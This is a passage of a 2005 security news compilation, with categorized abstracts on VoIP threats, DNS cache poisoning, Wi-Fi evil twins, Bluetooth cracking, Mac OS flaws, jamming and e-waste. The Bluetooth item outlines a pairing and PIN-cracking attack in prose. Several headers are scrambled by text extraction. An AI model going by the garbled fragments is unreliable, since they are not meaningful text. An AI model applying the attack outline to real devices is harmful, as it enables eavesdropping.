A new report from the U.S. Government Accountability Office (GAO) indicates that as many as 2.3 million Web addresses are owned by individuals or organizations that cannot be identified due to bad data in the WHOIS database for .com, .net, and .org domains. The report said that 5 percent of all addresses have incomplete or inaccurate information about the owner, in effect creating a safe haven for operators of Web-based scams, such as phishing attacks or the distribution of spam and viruses. When authorities try to track down those responsible for such malicious activities, they rely on the WHOIS database to find out who operates suspect domains. When the information in WHOIS is wrong, authorities hit a dead end. The Federal Trade Commission has been urging a clean-up of the database for a long time, but progress has been slow. Data are typically entered into the database through domain registrars, which bear some responsibility for ensuring the integrity of the information, along with the Internet Corporation for Assigned Names and Numbers (ICANN). Despite an ICANN policy requiring registrars to remind domain owners to update their information regularly, a system that tracks reports of complaints, however, indicates that only about 60 percent of problems are resolved. Internet News, 8 December 2005

23.7 VoIP

Category 23.7	VoIP
2005-04-11	voice over Internet Protocol VoIP security threats warning emergency services targets fire police

DHS IAIP Daily; http://www.networkingpipeline.com/showArticle.jhtml?articleI D=160700231

VoIP SECURITY CHIEF WARNS OF INCREASED SECURITY THREATS

VoIP Security Alliance Chairman, David Endler, says that threats to VoIP are increasing; and emergency services, fire, and police may be targeted. The Voice Over IP Security Alliance (VOIPSA) is the first industry-wide organization devoted to promoting VoIP security. "As VoIP increases in popularity and number of deployments, so will its attractiveness to potential attackers," Endler observes. "VoIP networks inherit most of the same security threats that traditional data networks have today," he notes. "However, by adding new VoIP components to an existing data infrastructure, new security requirements are also added: quality of service, reliability, and privacy. We can expect to see over the next year or two VoIP specific attacks emerge that go beyond today's more prevalent data network vulnerabilities." Our reliance on voice communications for basic needs raises the stakes even higher, when you look at emergency services call centers like 911, police and fire departments, Endler says. One of the problems, he says is that "the threats have not been well identified and laid out yet in a coherent manner. That's one of the things VOIPSA is trying to change with one of our first short-term projects, the VoIP Security Threat Taxonomy." VOIPSA Website: http://www.voipsa.org/

Category	23.7	VoIP		
2005-07-	11	VoIP voice over IP fraud international telephone call sell operation	ations	
RISKS; h	nttp://www.u	senet.org.uk/uk.telecom.voip.html	23	94
VoIP FRAUD COSTING STARTUPS \$MILLIONS IN LOSSES				

It's one of the best kept secrets in the Voice over IP industry. The biggest problem facing VoIP providers isn't the specter of costly E911 requirements, overzealous regulators, or even competition from a myriad of sources. The biggest issue is fraud, perpetrated by scammers who take advantage of lax international communications standards and regulations, and make thousands of minutes of calls through carriers - many of them fly-by-night operators - in places such as Afghanistan and Lichtenstein, who charge exorbitant rates for call termination, leaving the originating service provider with sky high bills and no one to charge for them.

VoIP scams have already caused start-ups in the fledgling industry millions of dollars in losses and are blamed, in part, for the recent demise of one service provider. "It is the single largest problem facing providers," says Ravi Sakaria, VoicePulse CEO, "because the development cost associated with addressing the issue is significant enough that it could be prohibitive for the smaller players."

[Carolyn Schuk, writing for VOXILLA.COM]

Category 23.7 VoIP

2005-08-25 denial-of-service DoS Internet phone VoIP FCC emergency 911 compliance

DHS IAIP Daily; http://www.networkingpipeline.com/showArticle.jhtml?articleI d=170100161

INTERNET PHONE PROVIDERS MAY CUT OFF CUSTOMERS

Providers of Internet-based phone services may be forced next week to cut off tens of thousands of customers who haven't formally acknowledged that they understand the problems they may encounter dialing 911 in an emergency. The Federal Communications Commission (FCC) had set the Monday, August 29, deadline as an interim safeguard while providers of Internet calling, also known as "VoIP" for Voice over Internet Protocol, rush to comply with an FCC order requiring full emergency 911 capabilities by late November. The FCC issued its order in May after a series of highly publicized incidents in which VoIP users were unable to connect with a live emergency dispatch operator when calling 911. Vonage, AT&T, and other carriers have indicated that they plan to comply with the FCC deadline to disconnect customers. But Time Warner Cable, the biggest VoIP provider in the cable TV industry with more than 600,000 users, said in its FCC filing that all customers have already been adequately informed about the risk of losing 911 service in a power outage--the primary issue for cable-based VoIP services--and that all have already acknowledged that risk.

Category 23.7	VoIP		
2005-09-12	proprietary encryption algorithms VoIP voice over IP vu	Inerability	
RISKS; http://tinyur	l.com/a5kgg; http://tinyurl.com/c58wa (free reg'n req'd)	24	04
DUDITO OVIT FOR			

PUBLIC CALL FOR SKYPE TO RELEASE SPECIFICATIONS

Andrew Ross Sorkin and Vikas Bajaj wrote in the New York Times, "Skype allows users who download its software and register for its service to talk to one another for free over the Internet. For a company that is a little over two years old, it has already amassed a large global following -- the company says its telephony software has been downloaded 162 million times and it has 53 million registered users, with as many as three million using its service at any given time."

Lauren Weinstein wrote in RISKS,

>eBay's acquisition of Skype (now official) leads to new concerns over the proprietary nature of Skype's security and encryption systems, which will now be under the control of an extremely large and powerful corporate entity. For eBay and Skype to have a chance of maintaining the goodwill and trust of Skype users, I call on Skype to forthwith release the specifications and implementation details of Skype's encryption and related technologies.

This disclosure should ideally be made to the public, but at a minimum to an independent panel of respected security, privacy, and encryption experts, who can rigorously vet the Skype technology and make a public report regarding its security, reliability, and associated issues.<

Category 23.7 VoIP 2005-09-19 VoIP threats report Symantec voice phishing audio spam call hijacking caller-ID spoofing war dialing combing

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4259554.stm

REPORT WARNS OF VOIP THREATS

A new report from security firm Symantec identifies voice over Internet protocol (VoIP) technology as potentially fertile ground for a wave of cybercrime, including a new variation on an old scam. Within the next 18 months, Symantec expects VoIP to become a "significant" channel for electronic mischief including audio spam, voice phishing, call hijacking, and caller-ID spoofing. Ollie Whitehouse, technical manager at Symantec's research labs, said that although few VoIP attacks have been reported so far, the company "believes it's only a matter of time before attackers target it more intensely." A technique called war-dialing, in which computers call many thousands of phone numbers looking for those that respond with data tones, could also see a reemergence with VoIP. Hackers could comb VoIP phone numbers and locate unprotected or poorly protected servers that could then be compromised. BBC, 19 September 2005

Category 23.7 VoIP

2005-09-27 wiretapping interception VoIP FCC rules considered

DHS IAIP Daily;

http://management.silicon.com/government/0,39024677,39152744,00.htm

VOIP WIRETAPPING RULES TO BE CONSIDERED

The Federal Communications Commission's (FCC) has developed a 59-page decision for Broadband providers and Internet phone services. They now have until spring 2007 to follow a new and complex set of rules designed to make it easier for police to seek wiretaps. This includes that any voice over IP, or VoIP, provider linking with the public telephone network must be wiretap-ready.

24.2 Windows NT/2K/XP

Category 24.2 Windows NT/2K/XP

2005-01-26 piracy Microsoft Windows XP software updates patches fixes enhancements

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A37035-2005Jan26.html

MICROSOFT: SOFTWARE FIXES AREN'T FOR PIRATES

Microsoft will soon be requiring that Windows XP users verify that their copy of the software is genuine before they'll be able to receive "greater reliability, faster access to updates, and richer user experiences." Although users of pirated copies of Windows will still be able get security patches, they won't be able to get other enhancements to Windows. The company will be expanding a trial authentication program it began last fall, and will make mandatory in mid-2005 for all users seeking to access software updates, downloads and security fixes for Windows. (Reuters/Washington Post 26 Jan 2005)

24.4 TCP/IP, HTTP, DNS

Category 24.4 TCP/IP, HTTP, DNS

2005-08-03 domain name system DNS services WWW Internet vulnerable cache poisoning

EDUPAGE; http://news.com.com/2100-7349_3-5816061.html

RESEARCHER SAYS DNS SERVERS VULNERABLE

In a presentation at the Black Hat conference last week, security researcher Dan Kaminsky argued that domain name system (DNS) servers represent a broad vulnerability in the Internet. Kaminsky said that of 2.5 million DNS servers he tested, nearly 10 percent could be susceptible to so-called DNS cache poisoning. In total, about 9 million DNS servers are operating globally. DNS servers translate typed URLs into numbers necessary to locate Web sites. In cache poisoning, legitimate numeric Web addresses are replaced, causing users to be redirected to sites of the hacker's choosing. Often, users are sent to Web sites that install malware or that deceive users into disclosing personal information, which can then be used in identity theft. Incidents of cache poisoning have disrupted Internet service in the past, including this March, when users trying to access CNN.com and MSN.com were sent to sites that installed spyware. Security experts advise operators of DNS servers to audit their machines and make sure they configure them in the safest manner possible.

CNET, 3 August 2005

24.6 WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax

Category 24.6 WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax

2005-01-03 WiFi Vonage VoIP voice over IP

NewsScan; http://www.usatoday.com/tech/news/2005-01-03-wifi-phone_x.htm

VONAGE TO OFFER WI-FI INTERNET PHONE CALLS

Vonage, the No. 1 Internet phone company, is offering its subscribers a wireless Wi-Fi phone that can make calls over the Internet at homes or at public Wi-Fi hot spots. A phone will cost around \$100. Wi-Fi calls are essentially free, in contrast to cell phone calls, and customers will plug a regular phone into an adapter linked to a broadband Internet line. Vonage will then turn the calls into data that travel by Internet before being converted back to voice at the other end. (USA Today 3 Jan 2005)

Category 24.6 WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax

2005-01-20 Wi-Fi privacy concern wireless point hot spot base station masquerading sensitive data interception signal strength

DHS IAIP Daily; http://news.bbc.co.uk/1/hi/technology/4190607.stm

FAKE WIRELESS ACCESS POINTS OR "EVIL TWINS" WARNED FOR WIRELESS INTERNET

People using wireless high-speed Internet (Wi-Fi) are being warned about fake hotspots, or access points. The latest threat, nicknamed evil twins, pose as real hotspots but are actually unauthorized base stations, say experts at Cranfield University in the U.K. Once logged onto an Evil Twin, sensitive data can be intercepted. "Users can also protect themselves by ensuring that their Wi-Fi device has its security measures activated," said Professor Brian Collins, head of information systems at Cranfield University. In most cases, base stations straight out of the box from the manufacturers are automatically set up with the least secure mode possible. Cybercriminals who try to glean personal information using the scam, jam connections to a legitimate base station by sending a stronger signal near to the wireless client.

Category 24.6 WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax

2005-01-28 social engineering shoulder surfing confidential data theft threat greater Wi-Fi evil twin malicious hot spot

DHS IAIP Daily; http://www.techweb.com/wire/mobile/57704010

LOW-TECH WAYS TO STEAL CONFIDENTIAL DATA WORSE THAN "EVIL TWIN" THREAT

You're more likely to have secrets stolen at a coffee shop from someone snooping over your shoulder or using wireless sniffing software than from sophisticated hackers deploying a so-called "Evil Twin" access point, said Jay Heiser, a U.K.-based research director with Gartner. "Unless the Wi-Fi session is encrypted in some way, which by default it's not, then all of the traffic is available for perusal by anyone with a wireless-enabled laptop and the right software." Heiser was reacting to an announcement last week by academic researchers in Britain who warned that rogue wireless access points -- dubbed "Evil Twin" -- posed a security risk to users in public places like coffee shops and airports where wireless Internet service is available. The lowest-tech way to lose confidential data while at a public hotspot -- which by definition are not encrypted -- is to be a victim of "shoulder surfing," where someone simply peeks over the shoulder of the user to watch for passwords and login names.

Category24.6WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax2005-02-21mobile phone virus Cabir US UK China Bluetooth Philippines standards
international widespread infection

NewsScan; http://www.nytimes.com/reuters/technology/tech-tech-security.html

MOBILE PHONE VIRUS INFILTRATES U.S.

The world's first mobile phone virus "in the wild," dubbed Cabir, has migrated to the U. S. from its point of origin in the Philippines eight months ago, infecting phones in a dozen countries along the way. Experts say the mobile-phone virus threat will increase as virus-writers become more sophisticated and phones standardize technologies that will make it easier to for viruses to spread not just across devices, but the whole industry. Up until now, disparate technical standards have worked against fast-moving virus infiltration, but Cabir has now been found in countries ranging from the China to the U.K., spread via Bluetooth wireless technology. The biggest impact of the relatively innocuous virus is that it's designed to drain mobile phone batteries, says Finnish computer security expert Mikko Hypponnen. Last November, another virus known as "Skulls" was distributed to security firms as a so-called "proof-of-concept alert, but was not targeted at consumers. (Reuters/New York Times 21 Feb 2005)

Category 24.6 WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax

2005-03-01 wireless networking Wi-Fi security concern radio frequency identification RFID

DHS IAIP Daily; http://www.fcw.com/fcw/articles/2005/0228/web-wireless-03 -01 -05.asp

WIRELESS STRUGGLES WITH SECURITY

Agency officials in charge of setting policies for wireless use and related technologies such as radio frequency identification (RFID) still have a difficult job. Technologies are evolving, as are the security standards that they use, and employees are not always judicious about using their own wireless devices on an agency network. What employees see as simple conveniences -- such as using a handheld device to send and receive e-mail -- can cause nightmares for security officials, according to panelists speaking today at the E-Gov Institute's Wireless/RFID conference in Washington, D.C. "Even a simple thing like putting a password on a cell phone is hard to sell" to employees, said Jaren Doherty, director of information security and awareness at the National Institutes of Health. "But it's important if the phone is also enabled to get your e-mail or log on to the Internet."

Category 24.6 WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax

2005-04-13 radio-controlled wireless land mines identification authentication I&A control encryption vulnerabilities risks warfare battlefield

RISKS; http://www.theregister.co.uk/2005/04/12/laptop_triggered_landmine/ 23 84

RADIO-CONTROLLED LAND MINES POSE SECURITY RISKS

Rob Slade pointed out that the new radio-controlled land mines pose significant security risks. "There are very few details provided in regard to the new mines. There appear to be different types. They have some kind of wireless capability. They have remote detonation capability."

He added,

"Based upon what is said, we can determine some additional aspects of the technology, as well as surmise more. They likely communicate via radio frequencies. They will have some kind of (likely minimal) software for reception of signal, authentication, and activation. (Deactivation is likely accomplished by activating the mine when [hopefully] nobody is around.) The mines are probably individually addressable: blowing an entire minefield for a single intrusion would not seem to be an effective use of resources. Radio communication would imply that either the mines are battery powered, or that they contain an antenna and transponder. Given the purpose and use of mines, it is likely that there is an alternate and more standard triggering mechanism such as pressure plates or tripwires that does not require wireless activation."

. . . .

"The potential risks are numerous. With radio communications mines that are buried, or placed under or behind metal or water, may fail to detonate when needed, or deactivate. Any kind of software is, of course subject to failures (which, in this case, could be literally catastrophic). Authentication would be a fairly major issue: sniffing of radio traffic could easily determine commands, replay attacks, static passwords, or number sequences. (Note that the mines require "minimal training" for use.) Failure of authentication could, again, result in failure of either detonation or deactivation. Battery failure would be an issue and therefore transponders are more likely, but transponders would be more difficult to troubleshoot. (Should the transponders retransmit? That would assist with finding and disarming mines, but broadcasting a signal with known improper authentication would result in a means of determining the location of mines.)" Category 24.6 WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax 2005-04-25 hacker infiltration attack information technology IT conference London wireless hot spot Wi-Fi evil twin attack steal sensitive information theft

DHS IAIP Daily; http://news.zdnet.co.uk/internet/security/0,39020375,3919595 6,00.htm

HACKERS ATTACK IT CONFERENCE IN LONDON

Hackers infiltrated an IT exhibition last week and attacked delegates' computers with a new type of wireless attack. Security experts attending the Wireless LAN Event in London last Wednesday, April 20, found that anonymous hackers in the crowd had created a Website that looked like a genuine login page for a Wi-Fi network, but which actually sent 45 random viruses to computers that accessed it. Spencer Parker, a director of technical solutions at AirDefense, said that the hackers walked around the exhibition carrying a Linux-based laptop running software that turned it into a wireless access point. The technique has evolved from an "evil twin" attack, where hackers host fake log-in Websites at commercial Wi-Fi hotspots. This was originally used to lure people into typing in credit card details onto the Web page, so the hacker could steal them.

WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax Category 24.6

2005-04-28 Wireless Wi-Fi leader alliance security discussion WEP

DHS IAIP Daily; http://www.vnunet.com/news/1162761

WIRELESS LEADERS FORM ALLIANCE TO ADDRESS SECURITY

BT, Cisco and Intel announced a formal alliance at InfoSec Europe to promote better security for users of wireless networks. The trio are concerned that fears about security will harm the rollout of wide-scale wireless networks, and have produced advice sheets for businesses, homes and public Wi-Fi access points. BT, Cisco and Intel also agreed to standardize on the Wireless Encryption Protocol, and to implement stronger encryption and identity systems as soon as they are finalized.

WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax Category 24.6 2005-05-06 laptop computer car breakins vulnerability identification target wireless Bluetooth 23 87

RISKS

WAR DRIVING FOR TARGETS OF THEFT

Andrew Nicholson reported on an interesting finding while searching for his lost rental car in a big parking lot at Disney World. Seems that all of the breakins reported to DW security involved laptops equipped with Bluetooth responders. Nicholson wrote, "Apparently if you just suspend the laptop the bluetooth device will still acknowledge certain requests allowing the thief to target only cars containing these laptops."

WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax Category 24.6

2005-05-17 GAO report Wi-Fi security criticism government agencies unauthorized access NIST OMB

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=8521359

GAO WARNS OF INSECURE WI-FI

A report released this week by the Government Accountability Office (GAO) strongly criticizes the Wi-Fi security of federal agencies. Wireless networks with no security or with poorly configured security pose significant risks of unauthorized access. Hackers within range of the network could access the network and potentially other computers on the network. Despite guidelines issued by the National Institute for Standards and Technology stating that government agencies should forgo wireless networks unless their security can be ensured, 13 of 24 major agencies do not require security for wireless networks, and 9 agencies do not have wireless-security plans. Investigators from the GAO monitored six agencies and detected Wi-Fi signals outside all of them. The GAO report recommends that the Office of Management and Budget require all federal agencies to use a variety of security measures, including encryption and virtual private networks. Reuters, 17 May 2005

Category 24.6	WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax		
2005-06-04 Bluetooth wireless networking security breach weakness vulnerability ex demonstration		exploit	
RISKS; http://	www.newscientist.com/article.ns?id=dn7461	23	89

METHOD DISCOVERED OF CRACKING BLUETOOTH SECURITY

Avishai Wool and Yaniv Shaked of Tel Aviv University in Israel have demonstrated a method of cracking Bluetooth security. Every Bluetooth device broadcasts its ID code to everything in the vicinity. The method is to pick up an ID code, then send a message to another device, spoofing the ID code, and telling it that the 'link key' used for encrypting communication has been 'forgotten'. This forces the two devices to go through a 'pairing' exercise to establish another link key. (Normally this is done only on the first occasion on which two devices communicate with each other.) The attacker can then eavesdrop on the messages exchanged in the pairing session, and analyse these using software which implements the Bluetooth algorithm. The four-digit PIN (set on each device by the legitimate user) can be cracked by 'brute force'. The link key can then be derived, and the attacker can then communicate with either device by pretending to be the other.

[Abstract contributed to RISKS by Pete Mellor]

Cutegory 27.0 $W 211, W L1, W t-1 i, Diactoolin, 002.11, W that$	Category	24.6	WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax
--	----------	------	---

2005-07-12 wireless attack threat "phlooding" overloading AirMagnet dictionary attacks flood operations VPN firewall businesses

DHS IAIP Daily; http://www.ebcvg.com/articles.php?id=802

NEW WIRELESS ATTACK DISCOVERED

The security threat of wireless networks to the enterprise keeps growing, this time with the discovery of a new wireless attack. Dubbed "phlooding," this new exploit targets businesses central authentication server with the goal of overloading it and cause a denial-of-service attack. The "phlooding" attack, discovered by AirMagnet, describes a group of simultaneous but geographically distributed attacks that targets wireless access points with login requests using multiple password combination in what are known as dictionary attacks. The multiple requests create a flood of authentication requests to the company's authentication server, which could slow down logins and potentially interfere with broader network operations, since many different users and applications often validate themselves against the same identity management system. Phlooding could effectively block broadband VPN or firewall connections that use a common authentication server to verify an incoming user's identity, making it temporarily impossible for employees to access their corporate network. Businesses with multiple office locations served by a single identity management server could be particularly vulnerable to phlooding attacks.

24.8 MAC OS

Category 24.8 MAC OS

2005-05-16 US CERT vulnerability alert Apple Mac OS X

DHS IAIP Daily; http://www.us-cert.gov/cas/techalerts/TA05-136A.html

Apple Mac OS X is affected by multiple vulnerabilities.

Apple has released Security Update 2005-005 to address multiple vulnerabilities affecting Mac OS X version 10.3.9 (Panther) and Mac OS X Server version 10.3.9. The most serious of these vulnerabilities may allow a remote attacker to execute arbitrary code. Impacts of other vulnerabilities addressed by the update include disclosure of information and denial of service. Apple advisory and updates: http://docs.info.apple.com/article.html?artnum=301528

Category 24.8 MAC OS

2005-06-08 Apple MAC OS X folder permission flaw privilege escalation

DHS IAIP Daily; http://docs.info.apple.com/article.html?artnum=301742

MAC OS X FOLDER PERMISSION FLAW MAY LET LOCAL USERS GAIN ELEVATED PRIVILEGES

A vulnerability was reported in Mac OS X in the enforcement of folder permissions. A local user may be able to gain elevated privileges. A local user can exploit a race condition in assignment of permissions on files in the system's cache folder and the Dashboard system widgets. A local user may be able to write to files in those directories. See Source link below for updates.

24.B Robust systems (hw / sw)

Category 24.B	Robust systems (hw / sw)		
2005-04-29	computer keyboard equipment dirty filthy infected bacteria	culture	sanitize disinfect
RISKS		23	87

COMPUTER KEYBOARDS A VECTOR FOR BACTERIAL INFECTION IN HOSPITALS

Ken Knowlton reported on new findings about a different sort of infection risk in computer equipment:

"Computers are making hospitals more dangerous, new research suggests. Computer keyboards fester with colonies of bacteria, which can easily spread from the medical personnel who use them to the patients they treat. Some hospitals now have computers in every patient room, creating even more opportunities for contamination. Researchers at Northwestern Memorial Hospital in Chicago found that the types of bacteria commonly found in hospitals -- some resistant to antibiotics -- could survive on a keyboard for 24 hours. Simply cleaning the computers with soap and water didn't make a difference. Using a strong disinfectant did kill the germs -- but it also damaged the computers. "The difficulty with keyboards is you can't pour bleach on them,' Dr. Allison McGreer of Toronto's Mount Sinai Hospital tells The Canadian Press. "They don't work so well when you do that.' Because it's nearly impossible to keep keyboards sterile, researchers say, the onus is on doctors and nurses to wash their hands vigorously and often." [Excerpted from *The Week*, 29 May 2005]

[MK notes that there is a tremendous market here for an enterprising company to manufacture sterilizable computer equipment, much as some manufacturers make military-grade field equipment. Sterilization could involve special materials in combination with special disinfectants especially chosen to be safe both for people and for the computer gear.]

Category 24.B	Robust systems (hw / sw)
2005-08-09	software quality assurance QA system design robust resistance fraud ethics third- world intellectual property rights open-source proprietary code design

RISKS; http://www.spectrum.ieee.org/aug05/1699

ROBUST SYSTEMS DESIGN FOR THIRD-WORLD APPLICATIONS

There is an interesting article in the August 2005 issue of _IEEE Spectrum_ [by G. Pascal Zachary] on the above subject. [Hermann] Chinery-Hesse runs a very successful software business in Ghana. Some of the high points:

* Software that is lean and efficient, so it runs well on old PCs such as 386/486. These are affordable in Ghana.
* Software design for robustness under third-world conditions. For example, frequent writes to disk to minimize work lost of the power goes off, as it frequently does.

* Rather extreme measures to protect proprietary software, such as updates installed in personal visits by software company employees. This to cope with conditions in a country where any sense of ethics is practically nonexistent.
* Shunning of open source software, on the grounds that having the source makes it too easy for unscrupulous users to modify the code so as to line their own pockets.

This last item could well be criticized as security through obscurity. Surely the incentives are there for users to make a considerable effort to tamper with closed source proprietary software. One could argue that open source software would be easier to audit for unauthorized modifications. But then who audits the auditors? And how can they be sure that the code actually running in the machine is accurately represented by the source code they can see.

This suggests a larger research topic: how can we make computer systems that are guaranteed to "work right" when they are to be installed in a den of thieves? Seems like this has applicability to the problem of electronic voting systems in the U.S.

[Abstract and comments by J. H. Haynes]

24

01

25.1 Remote control, RATs, reprogramming, auto-updates

Category 25.1 Remote control, RATs, reprogramming, auto-updates 2005-05-24 Federal Trade Commission FTC Internet Service Providers ISP zombies service cutoff hijacked computers China spam

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=8592338

FTC FIGHTING ZOMBIES

The Federal Trade Commission (FTC) will appeal to 3,000 Internet service providers (ISPs) worldwide to help identify and cut off service to hijacked computers. Such "zombies," as they are commonly called, are used by spammers to send millions of unsolicited e-mails. By some accounts, zombie machines send 50 to 80 percent of all spam. Though not requirements, the FTC's recommendations include monitoring subscriber accounts for large amounts of e-mail coming from a particular machine and helping those customers with hijacked computers clean their systems. The FTC said that 25 other countries are participating in the effort, though China--the country believed to be the source of a large percentage of the world's spam--is not one of them. Dave McClure, president of the U.S. Internet Industry Association, said that most U.S. ISPs already do most or all of the things recommended by the FTC. He noted that ISPs are forbidden by law from reading subscriber e-mails, saying that it can be difficult to distinguish between "spam coming across your network and your local charitable organization sending out its monthly newsletter." Reuters, 24 May 2005

25.2 Jamming

Category 25.2 Jamming

2005-11-04

radio frequency interference RFI controls garage-door openers military

RISKS; http://tinyurl.com/7mva3

09

24

RADIO SIGNAL KEEPS OTTAWA GATES AND GARAGE DOORS CLOSED

Apparently garage doors and embassy gates are refusing to work because something in Ottawa is broadcasting on their radio controlled opener devices' frequencies and swamping them. No one seems to know who/what is doing it and some fingers point to the military use of that same frequency.... This is, of course, a common problem as we run out of available radio bandwidth and try to cram more and more users into limited space. There is a possibility that the U.S. Embassy or the U.S. Military stationed at the Embassy is responsible. Time will eventually tell.

[Abstract by R. S. Heuman]

[MK adds:] The CBC article has additional details of interest (all quotations):

* It affects a 25-mile radius.

* Two companies that have plotted the reported problems on maps say they appear to cluster in the Byward Market area just east of Parliament Hill, and a corridor leading southeast from there.

* The Door Doctor has received more than 100 calls from irate customers who can't operate their doors using the usual remotes.

* The signal is transmitted on the 390-megahertz band, which is used by virtually all garage door openers on the continent. That's the same frequency used by the U.S. Military's new state-of-the-art Land Mobile Radio System.

* ...[O]perators have already been warned of this phenomenon by service updates from U.S. manufacturers, who started seeing the same problem around military bases last summer. The strong radio signals on the 390-megahertz band simply overpower the garage door openers.

26.1 Radiation

Category 26.1	Radiation		
2005-07-29	magnetic resonance imaging MRI systems failure harm par reporting control systems flaws	tients radiat	ion burns
RISKS		23	95

HITACHI MAGNETIC RESONANCE IMAGING SYSTEMS MAY BE FLAWED

The U.S. Food and Drug Administration warned Hitachi Medical Systems America Inc. That it failed to properly report burns, hearing losses, and other injuries to patients using its magnetic resonance imaging (MRI) systems. The FDA suggested that this "may be symptomatic of serious problems in your firm's manufacturing and quality assurance systems. You must promptly initiate permanent corrective and preventive action. The FDA described one unreported case in which a woman complained she was "shocked and burned on the top of her head while being scanned" by a Hitachi MRI system, and another in which an MRI device caught fire.

[Source: A Reuters item, 26 Jul 2005; abstract by Peter G. Neumann]

26.2 Toxic materials

Category 26.2 Toxic materials 2005-01-07 recycling Intel eBay toxic electronics disposal heavy metals cadmium mercury chrome

NewsScan; http://apnews.excite.com/article/20050107/D87F998O2.html

RECYCLING ELECTRONIC GADGETS

EBay and Intel have developed a recycling program that encourages Americans to safely dispose of their discarded computers and other electronic devices. Gartner, the marketing research firm, estimates that U.S. consumers decommission 133,000 personal computers every day, and eBay chief executive Meg Whitman says that the user's quandary is, "You don't want to throw them out, and you don't know what to do with them." If not properly disposed of, discarded electronic devices can leak lead, cadmium, chromium, mercury and other toxins into the environment. The new eBay- Intel "Rethink" recycling program will only endorse recyclers who promise not to dump machines in landfills in developing nations. (AP 7 Jan 2005)

Category 26.2 Toxic materials

2005-01-21 toxic waste electronics China US international Basel Convention treaty

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A24672-2005Jan20.html

E-WASTE IS PILING UP

Consumers' penchant for constant upgrades -- new cell phones, a sleeker laptop -- is causing havoc in the environment, and with technology products now accounting for as much as 40% of the lead in U.S. landfills, e-waste has become one of the fastestgrowing sectors of the U.S. solid waste stream. The International Association of Electronics Recyclers estimates that Americans dispose of 2 million tons of electronic products a year -- including 50 million computers and 130 million cell phones -- and China, which has served for years as the final resting place for Americans' unwanted TVs and computers, is becoming overwhelmed by the volume. Some high-tech companies are taking matters into their own hands -- Hewlett Packard and Dell job out their e-waste handling to environmentally sensitive recyclers such as RetroBox -- but such efforts are still quite limited and unable to cope with a problem that's reaching crisis proportions. Meanwhile, the U.S. is the only developed country not to have ratified the 1992 Basel Convention, the international treaty that controls the export of hazardous waste. "There's a real electronics-waste crisis," says Basel Action Network coordinator Jim Puckett. "The U.S. just looks the other way as we use these cheap and dirty dumping grounds." (Washington Post 21 Jan 2005)

27.1 Vulnerability assessment

Category 27.1	Vulnerability assessment
2005-04-14	rootkits security problem antivirus vendor warning malicious actions lack of
	statistics information

DHS IAIP Daily;

http://informationweek.com/story/showArticle.jhtml?articleID=160900692

ROOTKITS COULD POSE A SERIOUS SECURITY PROBLEM

The hacker equivalent of a cloak of invisibility may cause serious problems for users and anti-virus vendors, a security expert said Thursday, April 14. Rootkits are tools used by hackers to cover their tracks. Rootkits can hide the existence of other malware on a computer by modifying file data, Windows registry keys, or active processes, all of which are used by malicious code detection software to spot worms, viruses, and spyware that's been installed on a PC. They're commonly used by spyware writers, but they're now gaining popularity among virus writers, say some security analysts. According to Panda Software's research director, rootkits for Windows are proliferating. "Even though they're not new, rootkits have re-emerged as a kind of malware that could let hackers discreetly carry out numerous malicious actions," said Luis Corrons. "We've seen that they're being used in combination with backdoors to take remote control of computers." But Ken Dunham, the director of malicious code research for iDefense, is not as convinced as others that rootkits for Windows are that big of a deal. "I think it's a growing trend, but it's really hard to identify [the scope]. There just aren't a lot of stats."

Category 27.1 Vulnerability assessment

2005-11-10 computer security threats networked peripheral devices

DHS IAIP Daily; http://www.pcworld.com/news/article/0,aid,123483,00.asp

ANY NETWORKED OFFICE GEAR CAN BE VULNERABLE TO ONLINE ATTACKERS

On Tuesday, November 9, at a two-day Office Document Solutions conference in Boston, MA, a number of presenters implored makers of printers, copiers, scanners, and other such devices to start thinking about security threats to office gear beyond just computers. According to Jim Joyce, senior vice president for office services at Xerox Global Services, "Network-connected output devices are becoming an absolute primary target of people, foreign and domestic, who are penetrating networks...The reason for that is many of them are large devices with large disk drives, with a fair amount of memory and are network connected and are not secure." Joyce said that Xerox has poured some \$20 million in recent years into technologies to better manage office and document systems and is putting a particular emphasis on security. He noted that some machines, such as multifunction devices, might have several operating systems in them that could provide security holes if not protected.

Category 27.1 Vulnerability assessment

2005-11-22 patching deployment fix IT department faster vulnerability assessment

DHS IAIP Daily;

http://www.computerweekly.com/Articles/2005/11/22/213048/ITd epartmentsgetfasteratpatchingsystems.htm

IT DEPARTMENTS GET FASTER AT PATCHING SYSTEMS

IT departments have significantly reduced the time they take to patch their systems when new security vulnerabilities, viruses, or worms become public. The average time taken for IT departments to patch half of their external-facing systems has fallen to 19 days, down from 21 days a year ago, and from 30 days two years ago, according to IT security supplier Qualys. IT departments have reduced the time taken to patch half of their internal systems from 52 days to 48 days, according to an analysis of 32 million vulnerability scans of Qualys systems. However, the research showed that 80% of security exploits appear before companies patch half of their systems. Similarly, it showed worms cause most damage within the first 15 days of an outbreak.

Category 27.1	Vulnerability assessment	
2005-12-12	research finding security expert port scan sniffing hack attacks low correlation	
1	oipeline.com/news/175000553;jsessionid=M4 IDBOCKHSCJUMEKJVN	
SECURITY EXPERT FINDS PORT SCANS NOT TIED TO HACK ATTACKS		
University of Maryland based school, said that c	ice of sniffing for computers with unprotected and open ports, isn't much of a harbinger of an attack, a researcher said Monday, December 12. Michel Cukier, an assistant professor at the College Park, MD,- contrary to common thought, few port scans actually result in an attack. In fact, only about five percent	

